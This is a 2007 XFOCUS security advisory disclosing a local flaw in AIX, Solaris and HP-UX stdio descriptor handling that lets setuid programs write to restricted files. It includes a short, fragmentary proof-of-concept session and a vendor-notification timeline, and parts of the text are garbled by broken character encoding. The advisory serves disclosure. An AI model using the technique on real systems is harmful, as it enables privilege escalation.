Multiple OS kernel insecure handling of stdio file descriptor Jan 18 2007 02:21PM
XFOCUS Security Team (security xfocus org)

XFOCUS team ( had discovered Multiple OS kernel
insecure handling of stdio file descriptor.

Affected OS Version

AIX 5.3
Solaris 9
HPUX B11.11
(maybe other version,we did not tested)


The affected OSes allows local users to write to or read from restricted
files by closing the file descriptors 0 (standard input), 1 (standard
output), or 2 (standard error), which may then be reused by a called
setuid process that intended to perform I/O on normal files. the attack
which exploit this vulnerability possibly get root right.


-bash-3.00$ oslevel -r
-bash-3.00$ ls -l bb
-rw-r--r-- 1 root system 0 12æ??05 20æ?¶34 bb
-bash-3.00$ ls -l k
-rwxr-xr-x 1 root system 58242 12æ??03 23æ?¶13 k
-bash-3.00$ ls -l tt
-rwsr-xr-x 1 root system 59096 12æ??03 23æ?¶14 tt (this is a
suid programï¼?called by kï¼?
-bash-3.00$ cat k.c
int main()
close(2); //close 2 before call tt
-bash-3.00$ cat tt.c
int main()

int f=open("/tmp/bb",1);

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ ./k
f=2 #err info wrote into bb file
-bash-3.00$ ls -l bb
-rw-r--r-- 1 root system 6 12æ??05 20æ?¶35 bb

Time Line
2005-12-xx Discover this vulnerability
2006-12-12 Initial vendor notifiation
2006-12-12 HP responses ,assgin to SSRT061287;
Sun responses but mistake this vulnerablitily as
application bug and hope us figoure out real attack
Aix no responses;
2007-01-18 public disclosure


Kind Regards,

XFOCUS Security Team

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